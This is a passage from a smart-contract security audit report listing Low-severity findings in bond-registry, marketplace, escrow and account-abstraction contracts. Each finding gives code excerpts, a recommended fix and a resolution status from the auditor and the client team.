marketplace currency allowlist represents currencies accepted for settlement/trading on a specific marketplace instance. These are related concepts, but they are not necessarily the same policy. A marketplace may intentionally support only a subset of issuance currencies, or multiple marketplace/orderbook instances may be configured for different settlement currencies. Conversely, during a currency migration or deprecation period, we may want to stop issuing new bonds in a currency while still allowing existing bonds to trade for some time. We also intentionally keep the roles separate. The party governing bond issuance currency policy may be different from the operator/admin of a particular marketplace instance. Forcing the marketplace to query `BondRegistry.isCurrencyAllowed(...)` directly would remove this flexibility and would make every marketplace follow the issuance allowlist exactly, which is not the desired long-term model. For our current deployment, this does not present an operational issue because the supported currency set is expected to be only EUR, and both allowlists will be configured accordingly. Any divergence would be an operational configuration issue rather than an adversarial vulnerability, and it can be corrected by the respective privileged roles. We will keep this as-is, while documenting that the two allowlists serve different purposes and must be coordinated according to the intended market configuration.

7.4.2 [Low] `closeBond(...)` DoS via sending 1 wei of bond amount to the `_protectedAddress`

Severity: Low

Section ID: 7.4.2

File(s): `BondRegistry.sol/L104-L117`, `DEUSSToken.sol/L224-L231`, `DEUSSToken.sol/L395-L402`

Function(s): `BondRegistry.closeBond(...)`

Category: DoS

References: CWE-693 (Protection Mechanism Failure), CWE-841 (Improper Enforcement of Behavioral Workflow)

Description: `BondRegistry.closeBond(...)` requires the live ERC-6909 `totalSupply` for the closed bond's `tokenId` to be exactly zero before the bond can transition into the `Redeemed` state. The `DEUSSToken` contract is implemented as a single multi-token instance shared across all bonds. All bonds are expected to use the same `_token` address (see `BondRegistry.setMultiToken(...)`) and are differentiated only through `tokenId = keccak256(isin, version)`. The token contract also implements an irreversible `protectAddress(...)` mechanism (there is no `unprotectAddress(...)` counterpart), causing `_beforeRoleTransfer(...)` to revert any privileged burn or `forcedTransfer(...)` operation when the `from` address is protected. This protection appears intentional, as the `BURNER` role should not be capable of burning bonds held by entities such as `EscrowManager`.

```
function closeBond(string calldata isin, uint8 version) external onlyRoles(CLOSE) {
    // ...
    require(
        IERC6909TokenSupply(bond.tokenAddress).totalSupply(bond.tokenId) == 0,
        Errors.BondRegistry__TotalSupplyNotZero() // @audit strict invariant
    );
    bond.status = BondStatus.Redeemed;
    emit BondRedeemed(isinBytes, msg.sender);
}

function protectAddress(address account) external onlyOwner {
    require(account != address(0), Errors.ZeroAddress());
    require(!_protectedAddress[account], Errors.Token__AddressAlreadyProtected(account));
    _protectedAddress[account] = true;
    emit ProtectedAddressSet(account, true);
}

function _beforeRoleTransfer(address from, address to, uint256 tokenId, uint256 amount) internal override {
    super._beforeRoleTransfer(from, to, tokenId, amount);
    if (from != address(0)) {
        require(!_protectedAddress[from], Errors.Token__AddressProtected(from));
        _validateAndUnfreezeBalance(from, tokenId, amount);
    }
}
```

The issue arises when a newly protected custodian address becomes capable of receiving arbitrary bond transfers. A malicious bond holder can transfer as little as `1 wei` of a bond balance into such a `_protectedAddress`, permanently preventing the full burn of that `tokenId` and consequently blocking `closeBond(...)` from succeeding. While custodians are likely expected to hold certain bonds intentionally, the protection model is enforced globally at the multi-token level rather than per `tokenId`. As a result, if a protected custodian is intended to hold bond `X`, an attacker can still use the same protected address to grief the redemption flow of unrelated bond `Y`.

Impact: Low. Any entity capable of initiating a transfer (`transfer(...)` / `transferFrom(...)`) can transfer as little as `1 wei` of a bond into a `_protectedAddress`. This can indefinitely prevent the affected bond from transitioning into the `Redeemed` state. While the issue does not directly compromise funds, it can disrupt lifecycle finalization and accounting guarantees, forcing additional operational coordination and recovery procedures between involved parties.

Likelihood: Medium. Exploitation requires several preconditions:

- A `_protectedAddress` must exist and be capable of receiving the affected bond.
- The protected address must not expose a recovery or sweep mechanism.
- The malicious actor must possess and be able to transfer at least `1 wei` of the affected bond.

Recommendation(s): Consider redesigning the `protectedAddress` mechanism to support protection scoped per `tokenId` rather than globally across the entire multi-token contract. Maintaining both global and per-token protections could provide a more robust operational model. Additionally, consider introducing operational recovery procedures or sweep capabilities to handle situations where protected addresses unintentionally receive unrelated bond balances.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: Even though we did implement the `sweep(..)` function (see here) for such cases, after internal discussion we came to the conclusion that, with regard to future composability (if any), it would be much safer to move from a recovery model to a prevention model. The fix has been implemented and merged.

Update from CODESPECT: The issue is fixed in `4dfc556`.

Update from CODESPECT: Partial fix: the `_beforeTransfer` override blocks the permissionless push, and normal escrow settlement still works since it's a pull (`msg.sender == EscrowManager == to`). But `forcedTransfer/batchForcedTransfer` go through `_beforeRoleTransfer`, which only checks a protected `from`, not a protected `to`, so a `FORCE_TRANSFER_ROLE` holder can still push into a protected address

Update from CODESPECT: An additional fix was applied in `a82d13e` (forced-transfer protection into protected custody, with fuzz coverage).

7.4.3 [Low] `cancelOffer(...)` lacks an operator path, permanently blocking self-service recovery for failed INTEREST_DISCOVERY offers with a disabled owner

Severity: Low

Section ID: 7.4.3

File(s): `Marketplace.sol/L272-L280`, `Marketplace.sol/L228-L263`, `Marketplace.sol/L1418-L1421`, `Marketplace.sol/L1297-L1303`, `IMarketplace.sol/L299-L305`

Function(s): `Marketplace.cancelOffer(...)`, `Marketplace.closeExpiredInterests(...)`, `Marketplace._requireEnabledActor(...)`, `Marketplace._validateOwnerOrOperator(...)`

Category: Access Control

References: CWE-284 (Improper Access Control)

Description: For failed INTEREST_DISCOVERY offers (expired without reaching `minSaleUnits`), `cancelOffer(...)` is the designated self-service recovery function. It routes through `_prepareFailedInterestDiscoveryCancellation(...)`, which releases both `amounts.available` and `state.reservedInterestUnits` back to escrow and performs a single cancel-and-withdraw in one call via `_cancelOfferAndWithdraw(...)`. `cancelOffer(...)` gates the call with `_requireEnabledActor(...)`:

```
function _requireEnabledActor(address caller, address actor) internal view {
    _doAddressesMatch(caller, actor);
    require(_isAccountEnabled(actor), Errors.Marketplace__NotAuthorized(caller));
}
```

If the owner's account is disabled after offer creation, `caller` will not match `owner` for any substitute caller, and the owner itself fails the `_isAccountEnabled(...)` check. No other caller is accepted. `closeExpiredInterests(...)` has an INTEREST_DISCOVERY_OPERATOR path via `_validateOwnerOrOperator(...)`, but its unconditional `_validateThresholdReached(...)` blocks the call for sub-threshold offers. `withdrawAvailable(...)` requires an enabled owner via `_requireEnabledActor(...)` and separately requires `_validateThresholdReached(...)` for INTEREST_DISCOVERY: blocked on both counts. The team documented the analogous problem for successful-book offers: the `withdrawAvailable(...)` NatSpec notes that a disabled owner blocks escrow release and points to freeze+seize as the escape, and the `seizeOfferEscrow(...)` NatSpec describes it as "the privileged recovery path for offers whose normal withdrawal recipient can no longer receive tokens." The failed-book case has no equivalent note in `cancelOffer(...)`'s NatSpec. Freeze+seize does work for failed books since `seizeOfferEscrow(...)` includes `reservedInterestUnits` in the seize amount, but it requires two separate privileged operations (`FREEZE_ROLE` then `SEIZURE_ROLE`) and redirects tokens to a beneficiary rather than through the normal cancellation flow.

Impact: Low. The seller's escrowed tokens and all reserved interest inventory are inaccessible via normal self-service paths for the lifetime of the disability. No permanent loss occurs; the privileged freeze+seize path provides recovery, though it requires admin intervention.

Likelihood: Low. Requires an offer owner's EntityRegistry account to be disabled after offer creation and before the failed book is cancelled. This is an operational edge case in a KYC-gated system.

Recommendation(s): Extend `cancelOffer(...)` to accept INTEREST_DISCOVERY_OPERATOR callers for INTEREST_DISCOVERY offers, consistent with the access pattern already used in `closeExpiredInterests(...)`:

```
    function cancelOffer(uint256 offerId) external nonReentrant {
        _validateOfferNotCancelled(offerId);
        _validateOfferNotFrozen(offerId);
        Offer storage currentOffer = _offers[offerId];
-       _requireEnabledActor(msg.sender, currentOffer.owner);
+       if (currentOffer.saleMode == SaleMode.INTEREST_DISCOVERY) {
+           _validateOwnerOrOperator(msg.sender, currentOffer.owner);
+       } else {
+           _requireEnabledActor(msg.sender, currentOffer.owner);
+       }

        uint256 withdrawAmount = _prepareOfferCancellation(offerId, currentOffer);
        _cancelOfferAndWithdraw(offerId, currentOffer, withdrawAmount);
    }
```

MARKETPLACE and REDEMPTION offers are unaffected. The `cancelOffer(...)` NatSpec should also be updated to document the disabled-owner recovery path for failed INTEREST_DISCOVERY books, parallel to the existing documentation on `withdrawAvailable(...)` and `seizeOfferEscrow(...)`.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: We agree with the identified finding. The proposed mitigation has been implemented and merged.

Update from CODESPECT: The issue is fixed in `67b08c9`.

7.4.4 [Low] `closeIssuance(...)` on a still- `Published` bond permanently locks the ISIN's successor pipeline

Severity: Low

Section ID: 7.4.4

File(s): `BondRegistry.sol/L176-L196`, `BondRegistry.sol/L259-L303`

Function(s): `BondRegistry.closeIssuance(...)`, `BondRegistry.publishBond(...)`

Category: Business Logic / Protocol Design

References: CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-440 (Expected Behavior Violation)

Description: `BondRegistry.closeIssuance(...)` currently accepts `BondStatus.Published` as a valid lifecycle state through the following status whitelist:

```
require(
    bond.status == BondStatus.Published || bond.status == BondStatus.Issued
        || bond.status == BondStatus.Suspended,
    Errors.BondRegistry__InvalidBondStatus(isinBytes)
);
```

This introduces an unrecoverable workflow edge case when issuance is closed for a bond version that has been published but never issued. If `closeIssuance(...)` is executed on a `v1` bond that has already passed `publishBond(...)` but has not yet undergone `issueBond(...)`, the protocol sets:

```
issuanceClosed = true
```

while the bond status remains `Published`. This permanently blocks the ISIN versioning pipeline:

a. `issueBond(v1)` subsequently reverts because `issuanceClosed == true`, preventing `v1` from ever transitioning into `Issued`;

b. Publishing a successor version (`v2`) through `publishBond(...)` also reverts because the active-version validation requires the currently active version to be in `Issued` state:;

```
require(
    _bonds[isinBytes][activeVersion].status == BondStatus.Issued,
    Errors.BondRegistry__ActiveVersionNotIssuable(isinBytes)
);
```

At this point:

- `_isinToActiveVersion[isin] == 1`,
- `v1.status == Published`,

so the requirement fails.

a. Calling `cancelBond(v1)` does not resolve the situation because it only transitions the bond status to `Cancelled` and does not update or clear `_isinToActiveVersion`. As a result, successor publication continues to revert indefinitely;

No on-chain recovery mechanism currently exists for this state combination.

Impact: Low. A published-but-never-issued bond version can permanently lock future issuance for the corresponding ISIN. Operationally, the issuer would need to abandon the affected ISIN entirely and register a new identifier. No direct loss of funds occurs because the affected bond never reached live issuance.

Likelihood: Low. The issue requires a specific operational sequence involving a misordered lifecycle action by a privileged issuer or `PUBLISHER` role holder.

Recommendation(s): Consider removing `BondStatus.Published` from the valid lifecycle states accepted by `closeIssuance(...)`. Semantically, `closeIssuance(...)` appears intended for bonds with already-issued live supply ("Permanently disables future tranches without affecting already-issued live supply"). A bond that has never been issued does not satisfy this lifecycle assumption, and the correct termination path is likely `cancelBond(...)` instead.

```
    require(
-       bond.status == BondStatus.Published || bond.status == BondStatus.Issued
-           || bond.status == BondStatus.Suspended,
+       bond.status == BondStatus.Issued || bond.status == BondStatus.Suspended,
        Errors.BondRegistry__InvalidBondStatus(isinBytes)
    );
```

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: The fix has been implemented in MR !264. `closeIssuance(...)` can now only be executed for bonds in the `Issued` or `Suspended` states. This prevents issuance from being closed on a merely `Published` bond, eliminating the workflow deadlock that could permanently block future bond versions for the same ISIN.

Update from CODESPECT: The issue is fixed in `1b5a211`.

7.4.5 [Low] Misleading "printable ASCII" comment - _stringToFixedBytes accepts non-printable control characters

Severity: Low

Section ID: 7.4.5

File(s): `StringExtensions.sol/L7-L13`, `StringExtensions.sol/L46-L50`

Function(s): `StringExtensions._stringToFixedBytes(...)`, `StringExtensions._isinToBytes12(...)`, `StringExtensions._currencyToBytes3(...)`

Category: Documentation / Code Mismatch

References: CWE-20 (Improper Input Validation), CWE-1287 (Improper Validation of Specified Type of Input), ASCII table reference

Description: The library-level NatSpec on `StringExtensions` states that ISIN/currency helpers accept *printable ASCII (0x00-0x7F)*:

```
/**
 * @dev ISIN/currency helpers require exact byte length and printable ASCII (0x00-0x7F). Truncation uses inline
 *      assembly to read the string payload; inputs are length-checked before `mload`.
 */
```

The phrasing is contradictory: `0x00-0x7F` is the full 7-bit ASCII range, not the printable subset. Printable ASCII is `0x20-0x7E` (SPACE through ~); `0x00-0x1F` and `0x7F` are control characters: NUL (0x00), BEL (0x07), BS (0x08), HT/TAB (0x09), LF (0x0A), VT, FF, CR (0x0D), ESC (0x1B), DEL (0x7F), and similar. The implementation in `_stringToFixedBytes(...)` matches the wider range, not the documented *printable* wording:

```
// Check all characters are valid ASCII (0x00 to 0x7F)
uint256 length = inputBytes.length;
for (uint256 i; i < length; ++i) {
    require(!(uint8(inputBytes[i]) > 0x7F), Errors.StringExtensions__NonAsciiCharacter());
}
```

The same helper is the only validation gate for both `_isinToBytes12(...)` and `_currencyToBytes3(...)`, which are the entry points for bond ISIN packing and currency-code packing across `BondRegistry` and the marketplace. ISIN identifiers (ISO 6166) and currency codes (ISO 4217) are restricted to uppercase letters and digits, so embedded control bytes are always out-of-spec inputs that the helper nevertheless accepts.

Impact: Low. This breaks the invariant promised by the NatSpec comment. Beyond that, unexpected characters accidentally included in an ISIN or currency string (such as a stray whitespace or line break) would be silently accepted and packed into the `bytes12` / `bytes3` value, which can break off-chain integrations that read those bytes as a string.

Likelihood: Low. Requires a `PUBLISHER`-role caller or bond issuer to supply a deliberately malformed ISIN at `publishBond(...)`, or governance to allowlist a malformed currency. Adversarial relevance is limited to off-chain-tooling confusion vectors rather than direct on-chain exploitation.

Recommendation(s): Align comment and code. Preferred fix: tighten the check to actually-printable ASCII, which matches ISO 6166 / ISO 4217 semantics:

```
-         // Check all characters are valid ASCII (0x00 to 0x7F)
+         // Check all characters are printable ASCII (0x20 to 0x7E)
          uint256 length = inputBytes.length;
          for (uint256 i; i < length; ++i) {
-             require(!(uint8(inputBytes[i]) > 0x7F), Errors.StringExtensions__NonAsciiCharacter());
+             uint8 b = uint8(inputBytes[i]);
+             require(b >= 0x20 && b <= 0x7E, Errors.StringExtensions__NonAsciiCharacter());
          }
```

Alternatively, keep the current range and correct only the NatSpec, change `printable ASCII (0x00-0x7F)` to `7-bit ASCII (0x00-0x7F)`, and add stricter validation at the `_isinToBytes12(...)` / `_currencyToBytes3(...)` boundaries (alphanumeric only for ISIN, uppercase letters only for currency). The first option is preferred because ISIN/currency strings have a well-defined ISO charset and silent acceptance of control characters has no legitimate use case.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CODESPECT: Looks good, confirmed with some POCs

Update from CODESPECT: The issue is fixed in `12408b4`.

Update from CTU team: Implemented in MR !279. Added strict charset validation for ISIN and currency identifiers.

7.4.6 [Low] `activateInterest(...)` re-validates investor entity type against the live allowlist rather than eligibility at expression time

Severity: Low

Section ID: 7.4.6

File(s): `Marketplace.sol/L203-L223`, `Marketplace.sol/L169-L198`

Function(s): `Marketplace.activateInterest(...)`, `Marketplace.expressInterest(...)`

Category: Business Logic / Protocol Design

References: CWE-841 (Improper Enforcement of Behavioral Workflow)

Description: `expressInterest(...)` validates the investor's entity type against the allowlist at the moment of expression. `activateInterest(...)` repeats the same check against the stored investor:

```
_validateNotOwner(interest.investor, currentOffer.owner);
_validateEntityWalletAndTypeAllowed(interest.investor);
_validateEntityWalletEnabled(currentOffer.owner);
```

This re-validation reads the live `_allowedEntityTypes` mapping at activation time. If governance removes the investor's entity type after expression but before activation is called, the check reverts and a valid interest cannot be promoted into a deal. The development team confirmed the `_validateEntityWalletAndTypeAllowed(interest.investor)` call should be removed from `activateInterest(...)` entirely. The activation window upper bound has the same problem. It is computed dynamically each time `activateInterest(...)` is called:

```
function _getInterestActivationDeadline(uint256 saleEnd) internal view returns (uint256 activationDeadline) {
    return saleEnd + _config.interestDiscoveryPaymentExpiryThreshold;
}
```

`saleEnd` (`currentOffer.expiry`) is fixed at offer creation, but `_config.interestDiscoveryPaymentExpiryThreshold` is a live global config value. Nothing snapshots it at offer creation or at interest expression time: the `Interest` struct stores only `offerId`, `amount`, `investor`, `price`, and `status`. If governance reduces the threshold after investors express interest but before the sale ends, the activation window shrinks retroactively; investors who expressed interest expecting a longer window may find the window already closed by the time they attempt to activate. The same live config value is also used immediately upon activation to set the payment deadline for the created deal:

```
uint256 paymentDeadline = _config.interestDiscoveryPaymentExpiryThreshold + block.timestamp;
```

A governance change to this threshold between expression and activation therefore affects both the gate that determines whether activation is permissible and the payment deadline of the deal that activation creates.

Impact: Low. A valid interest cannot be activated due to a governance change applied after the commitment was made. No permanent loss occurs; reserved units are returned via `closeExpiredInterests(...)` once the activation window closes.

Likelihood: Low. Requires governance action while unexpired interests are pending activation.

Proof of Concept: Not required for Low severity.

Recommendation(s):

a. Remove the `_validateEntityWalletAndTypeAllowed(interest.investor)` call from `activateInterest(...)`. Eligibility is established and enforced at `expressInterest(...)` time; repeating the check at activation retroactively applies a governance change to a commitment the protocol already accepted. The existing `_validateEntityWalletEnabled(...)` call is sufficient to confirm the investor's account is still live at activation time;

b. Snapshot `interestDiscoveryPaymentExpiryThreshold` at offer creation time. Add a field (e.g., `paymentExpiryThreshold`) to `InterestDiscoveryState`, set it from `_config.interestDiscoveryPaymentExpiryThreshold` inside `_configureInterestDiscovery(...)`, and have `_getInterestActivationDeadline(...)` and `_createActivatedInterestDeal(...)` read the per-offer stored value instead of the live global config. This makes the activation window and the resulting payment deadline immutable for the lifetime of a given offer's interest-discovery period;

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: The fix has been implemented in MR !268. Interest activation now relies on eligibility established at expression time, preventing later allowlist changes from retroactively invalidating previously accepted interests. In addition, the interest-discovery payment expiry threshold is now snapshotted at the offer level, ensuring that activation windows and resulting payment deadlines remain immutable for the lifetime of the offer regardless of subsequent governance configuration changes.

Update from CODESPECT: The issue is fixed in `842919a`.

7.4.7 [Low] `deactivateModule(...)` bricks all active escrows for the deactivated module with no on-chain drainage path

Severity: Low

Section ID: 7.4.7

File(s): `EscrowManager.sol/L104-L116`, `EscrowManager.sol/L419-L440`, `EscrowManager.sol/L171-L188`

Function(s): `EscrowManager.deactivateModule(...)`, `EscrowManager._getAuthorizedEscrow(...)`, `EscrowManager.withdraw(...)`, `EscrowManager.claim(...)`

Category: Business Logic / Protocol Design

References: CWE-284 (Improper Access Control)

Description: Every `withdraw(...)` and `claim(...)` call routes through `_getAuthorizedEscrow(...)`, which validates the caller against the live authorisation matrix rather than recording which module created the escrow:

```
function _getAuthorizedEscrow(uint256 escrowId, address moduleAddress)
    internal
    view
    returns (Escrow storage escrow)
{
    escrow = escrows[escrowId];
    bytes32 moduleType = escrow.moduleType;
    require(moduleType != bytes32(0), Errors.EscrowManager__EscrowNotFound(escrowId));
    _requireAuthorizedModule(moduleType, moduleAddress);
}

function _requireAuthorizedModule(bytes32 moduleType, address moduleAddress) internal view {
    require(
        isAuthorizedModule[moduleType][moduleAddress],
        Errors.EscrowManager__ModuleNotAuthorized(moduleAddress, moduleType)
    );
}
```

`deactivateModule(...)` clears the flag for the target module:

```
isAuthorizedModule[moduleType][moduleAddress] = false;
delete moduleTypeOf[moduleAddress];
```

Once cleared, every subsequent call from the deactivated module to `withdraw(...)` or `claim(...)` reverts at `_requireAuthorizedModule`. All open escrows created by that module are immediately frozen. The privileged `seizeOfferEscrow(...)` path in Marketplace is equally blocked because it issues its own `claim(...)` call with `msg.sender` as the Marketplace module. The admin `sweep(...)` function in EscrowManager cannot reach the frozen funds because it only operates on surplus: tokens tracked in `_reservedByAsset` are excluded from the sweepable balance, and all active escrow deposits are fully reserved. `_escrowIdByOfferId` lives in Marketplace's own storage, so a replacement module would have no knowledge of the existing escrow mappings. The only recovery path is re-registering the deactivated module via `registerModule(...)`, which restores the `isAuthorizedModule` flag and unblocks all frozen escrows. A replacement V2 module cannot assume the escrow mappings tracked by V1.

Impact: Medium. All open escrows associated with the deactivated module become simultaneously inaccessible: sellers cannot cancel offers, buyers cannot settle pending deals, and no on-chain path exists to drain the frozen funds other than re-registering the original module. The condition is reversible by governance re-registration.

Likelihood: Low. Requires the ADMIN role to call `deactivateModule(...)` on an active module without first draining or migrating its open escrows, which is an operational mistake rather than an attack path.

Proof of Concept: Not required for Medium severity.

Recommendation(s): Add a `creator` address field to the `Escrow` struct, set to `msg.sender` in `createEscrow(...)`, and introduce a `mapping(address => uint256) internal _activeEscrowsByModule` counter in `EscrowManager`. Increment the counter in `createEscrow(...)` after storing the escrow, and decrement it in `_transferFromEscrow(...)` exactly when `escrow.amount` reaches zero (i.e., the escrow is fully drained). In `deactivateModule(...)`, revert if `_activeEscrowsByModule[moduleAddress] > 0`. This approach is per module address rather than per module type, so deactivating V1 is correctly blocked by V1's own active escrow count regardless of whether V2 is registered for the same type. The counter cannot underflow because each escrow contributes exactly one increment and at most one decrement, and it cannot be bypassed because all token outflows from EscrowManager go through `_transferFromEscrow(...)`.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: The fix has been implemented in MR !267. Module deactivation is now blocked while the module has active escrows. `EscrowManager` tracks active escrows per module and prevents deactivation until all associated escrows have been fully resolved, ensuring that escrowed funds cannot become inaccessible due to an operational deactivation.

Update from CODESPECT: The issue is fixed in `06adc65`.

7.4.8 [Low] Both `ProxyDeployer` copies reserve no storage gap, exposing upgradeable `KernelFactory` and `WalletFactory` to layout shifts

Severity: Low

Section ID: 7.4.8

File(s): `account-abstraction-master/.../ProxyDeployer.sol`, `bond-contract-master/.../ProxyDeployer.sol`, `KernelFactory.sol`, `WalletFactory.sol`

Function(s): N/A; storage layout

Category: Initialization / Upgradeability

References: OpenZeppelin upgradeable contracts storage-gap pattern

Description: The repo carries two near-duplicate copies of the abstract `ProxyDeployer`: one in `account-abstraction-master/src/deployer/`, one in `bond-contract-master/src/deployer/`. Both declare four sequential state variables and neither reserves a trailing `__gap` nor keeps ERC-7201.

```
// ProxyDeployer.sol (both copies)
abstract contract ProxyDeployer is IProxyDeployer, OwnableRolesExtension {
    address internal _templateFactory;
    address internal _templateRegistry;
    string internal _did;
    mapping(bytes32 templateId => TemplateConfig config) internal _templateConfigs;
    // @audit no `uint256[N] private __gap;` reserved
    // ...
}
```

Both copies are inherited by upgradeable contracts:

```
// KernelFactory.sol, Kernel-AA scope
contract KernelFactory is ProxyDeployer, Initializable {
    bytes32 public templateId;
    uint256[49] private __gap;
    // ...
}

// WalletFactory.sol, bond-contract scope
contract WalletFactory is
    IWalletFactory,
    WalletFactoryStorage,    // own state + uint256[49] private __gap
    ProxyDeployer,
    ReentrancyGuard,
    Initializable
{ /* no further sequential state */ }
```

Every other upgradeable contract in scope follows the per-contract gap convention (`Kernel.sol:L559`, `WeightedValidator.sol:L316`, `ECDSAValidator.sol:L105`, `WebAuthnValidator.sol:L155`, `WalletFactoryStorage.sol:L23`, `KernelFactory.sol:L14`); the omission on the shared base contract is inconsistent with the project's own pattern. Because parent storage is laid out before child storage, mutating `ProxyDeployer`'s state list in a future version can shift slot indices used by every deployed proxy.

Impact: Medium. The bug is latent / upgrade-time only; no current bytecode is exploitable.

Likelihood: Low. Requires a future `ProxyDeployer` change that adds or reorders state, followed by an upgrade. Discoverable by any storage-layout diff during upgrade review, but easy to miss because each inheriting contract appears to have its own gap. The likelihood of such a situation is lower due to the type of the contract than in our other finding, which relates to main components.

Recommendation(s): To unite the recommendation with our other finding, migrate `ProxyDeployer` to a namespaced storage layout (ERC-7201), or consolidate the two copies into a single shared base, so storage is defined in one place, and the inheriting contracts' layouts are decoupled.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: Implemented in MR !294. Migrated `ProxyDeployer` storage to an ERC-7201 namespaced storage layout. The same fix for Account Abstraction's ProxyDeployer is expected today.

Update from CODESPECT: Fixed in 43de386a608059e37b22b03afe6d03448815348b

7.4.9 [Low] The `WeightedValidator` allows to register more guardians than it can handle

Severity: Low

Section ID: 7.4.9

File(s): `WeightedValidator.sol`

Function(s): `WeightedValidator.onInstall(...)`, `WeightedValidator._checkSigVote(...)`

Category: Arithmetic

References: CWE-657 (Violation of Secure Design Principles)

Description: The `WeightedValidator` allows to install multiple guardians to be registered in the `onInstall(...)` function. First, the guardian mapping has a `uint256 guardianIndex` and then the `onInstall(...)` function caps the guardians length to a `uint32` amount:

```
weightedStorage[msg.sender].guardianLength = uint32(guardianData.length);
```

However, the `_checkSigVote(...)` function uses an `uint8 idx`, which is essentially the same index as the guardian mapping's `uint256 guardianIndex`.

```
function _checkSigVote(bytes32 callDataAndNonceHash, bytes32 hash, bytes calldata sig, uint24 currentApproval)
    internal
    returns (bool, uint24)
{
    uint8 idx = uint8(bytes1(sig[0]));
    GuardianStorage storage strg = guardian[idx][msg.sender];
    // ...
}
```

The contract can handle at maximum 256 guardians, but the `onInstall(...)` and `renew(...)` functions allow for more.

Impact: Low. The contract doesn't limit the guardians amount during registering them. If there are more than 256 guardians, the excess guardians are not reachable to count their votes. However, the guardians can be edited with the `renew(...)` function.

Likelihood: Low. The contract's limit is 256 guardians, which is quite high and not many users are expected to face this issue.

Recommendation(s): Consider limiting the guardians amount to a maximum of 256 in the `onInstall(...)` and `renew(...)` functions.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !21. Added guardian count validation to prevent registering more than 256 guardians in `WeightedValidator`.

Update from CODESPECT: The issue is fixed in `43ec3cf`.

7.4.10 [Low] Missing event emission on privileged configuration setters

Severity: Low

Section ID: 7.4.10

File(s): `MarketplaceBase.sol/L159-L161`, `WalletFactory.sol/L73-L85`

Function(s): `MarketplaceBase.setDisputeBufferPeriod(...)`, `WalletFactory.setWalletTemplateForType(...)`

Category: Documentation / Code Mismatch, Design Observation

References: CWE-778 (Insufficient Logging)

Description: Two privileged configuration setters mutate state without emitting an event, breaking the convention used by their sibling setters and leaving the change unobservable to off-chain consumers. `MarketplaceBase` exposes a family of `ADMIN`-only configuration setters that each emit a typed event, except `setDisputeBufferPeriod(...)`. The public `setDisputeBufferPeriod(...)` forwards to the internal `_setDisputeBufferPeriod(...)`, which validates the bounds and writes `_config.disputeBufferPeriod` without emitting any event, while siblings such as `setAssetManager(...)` emit `AssetManagerSet`:

```
function setDisputeBufferPeriod(uint256 disputeBufferPeriod) public onlyRoles(ADMIN) {
    _setDisputeBufferPeriod(disputeBufferPeriod);
    // @audit external admin setter emits no event, unlike every sibling setter
}

function _setDisputeBufferPeriod(uint256 disputeBufferPeriod) internal {
    // ... bounds checks ...
    _config.disputeBufferPeriod = disputeBufferPeriod;
    // @audit state updated with no event
}
```

`WalletFactory.setWalletTemplateForType(...)` (the `onlyOwner` setter that binds a wallet type to a deployment template) has the same gap. It writes `_walletTemplateIdByType[walletType]` with no event.

```
function setWalletTemplateForType(bytes32 walletType, string calldata name, string calldata version)
    external
    onlyOwner
{
    // ... resolves/creates templateId ...
    _walletTemplateIdByType[walletType] = templateId;
    // @audit template rebinding emitted no event
}
```

Impact: Low. Off-chain indexers, monitoring systems, and subgraphs that track privileged parameter changes by listening to events will silently miss any rotation of the dispute buffer period or any rebinding of a wallet-type template. No on-chain funds are directly at risk, but the wallet-template rebinding in particular is a security-relevant change that should be observable for monitoring and incident response.

Likelihood: Medium. Deterministic whenever an `ADMIN` calls `setDisputeBufferPeriod(...)` or the owner calls `setWalletTemplateForType(...)`: the observability gap manifests on every successful call.

Recommendation(s): Consider emitting the events in the set functions.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CODESPECT: The issue is fixed in `84ad0f0`.

Update from CTU team: Implemented. Added event emission for `WalletFactory.setWalletTemplateForType(...)` configuration updates (MR !284) and added event emission for `MarketplaceBase.setDisputeBufferPeriod(...)` configuration updates (MR !277).

Update from CODESPECT: An additional fix was applied in `d68db9d` (events emitted for privileged configuration updates).

7.4.11 [Low] `Kernel` doesn't uninstall fallback modules correctly

Severity: Low

Section ID: 7.4.11

File(s): `Kernel.sol`

Function(s): `Kernel.uninstallModule(...)`

Category: Business Logic / Protocol Design

References: CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-440 (Expected Behavior Violation)

Description: The `Kernel.sol` contract implements functionality to uninstall modules through the `uninstallModule(...)` function:

```
function uninstallModule(uint256 moduleType, address module, bytes calldata deInitData)
    external
    payable
    override
    onlyEntryPointOrSelfOrRoot
{
    // ...
    } else if (moduleType == MODULE_TYPE_FALLBACK) {
        bytes4 selector = bytes4(deInitData[0:4]);
        address target;
        _clearSelectorData(selector);
        if (target == address(0)) {
            return;
        }
        if (target != module) {
            revert InvalidSelector();
        }
        deInitData = deInitData[4:];
    } else if (moduleType == MODULE_TYPE_HOOK) {
        // ...
    }
    ModuleLib.uninstallModule(module, deInitData);
    emit ModuleUninstalled(moduleType, module);
}
```

There is a `target` variable that is never set. This will make the function always `return` early, without ever calling `uninstallModule(...)` at the end. The `target` variable is clearly meant to be populated by the `_clearSelectorData(...)` function, which also mentions the scenario where `target` should be `address(0)` to not call `uninstallModule(...)` at the end.

```
function _clearSelectorData(bytes4 selector) internal returns (IHook hook, address target) {
    SelectorConfig storage ss = _selectorConfig(selector);
    hook = ss.hook;
    ss.hook = IHook(address(0));
    if (ss.callType == CALLTYPE_SINGLE) {
        target = ss.target; // if callType!=CALLTYPE_SINGLE, don't need to call uninstall
    }
    ss.target = address(0);
    ss.callType = CallType.wrap(bytes1(0x00));
}
```

Impact: Low. Certain `MODULE_TYPE_FALLBACK` modules are not uninstalled correctly. The `Kernel` has cleared the mapping so it would never call it, but can create issues if the same module would need to be re-installed.

Likelihood: High. Every time a `MODULE_TYPE_FALLBACK` module needs to be uninstalled.

Recommendation(s): Consider populating the `target` variable from the `_clearSelectorData(...)`'s return data.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: Implemented in MR !31. The fallback module uninstallation flow was corrected to properly use the selector target returned by `_clearSelectorData(...)`.

